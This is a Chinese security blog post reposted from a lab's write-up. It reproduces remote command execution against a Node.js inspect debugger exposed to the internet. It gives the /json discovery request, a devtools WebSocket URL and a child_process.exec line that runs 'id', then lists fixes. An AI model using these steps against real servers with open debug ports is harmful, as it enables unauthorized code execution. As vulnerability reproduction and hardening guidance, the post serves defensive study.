【成功复现】Node.jsinspect调试远程命令执行

admin 2026-04-10 02:32:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了Node.jsinspect调试模式被暴露于公网后导致的远程命令执行漏洞的复现过程。攻击者可通过/json接口发现调试端点,再利用ChromeDevTools协议的WebSocket连接在浏览器中执行任意系统命令,如id等。文章指出影响条件为开启inspect调试并对外暴露,修复建议包括非必要不开启该功能、绑定本地地址以及通过防火墙和白名单限制访问。 综合评分: 62 文章分类: 漏洞复现,漏洞预警,WEB安全,安全运营,终端安全


cover_image

【成功复现】Node.js inspect调试远程命令执行

原创

弥天安全实验室 弥天安全实验室

弥天安全实验室

2026年4月8日 12:48 陕西

#

网安引领时代,弥天点亮未来

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01组件介绍

Node.js是一个开源、跨平台的 JavaScript 运行时环境。

0x02影响版本

开启Node.js inspect调试模式并将服务暴露于公网

0x03风险复现

1.访问运行环境

2.风险复现

1、获取调试接口

GET /json HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: closeHost: 127.0.0.1

返回200,并且响应体存在接口

2、通过浏览器访问调试接口

devtools://devtools/bundled/inspector.html?

开启允许输入

devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.0:10000/e06fc35f-b95c-48dd-89b1-15f932816379

成功执行id命令

require("child_process").exec("id ", (err,std) => console.log(std))

0x04修复建议****

1、严格遵循Node.js官方安全要求,非必要不开启 inspect 调试功能。

2、若开发过程中确需使用,确保调试服务仅绑定本地地址(–inspect=127.0.0.1),禁止暴露于公网,并通过防火墙、IP 白名单等手段限制访问权限。

再次声明本文仅供学习使用,非法他用责任自负! 人是安全的尺度

https://nodejs.org/en/blog/vulnerability/february-2023-security-releases/https://zhuanlan.zhihu.com/p/1947267306074912700

弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,

予以风动,

必降弥天之润!

弥  天

安全实验室


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:弥天安全实验室 弥天安全实验室 弥天安全实验室《【成功复现】Node.js inspect调试远程命令执行》

评论:0   参与:  0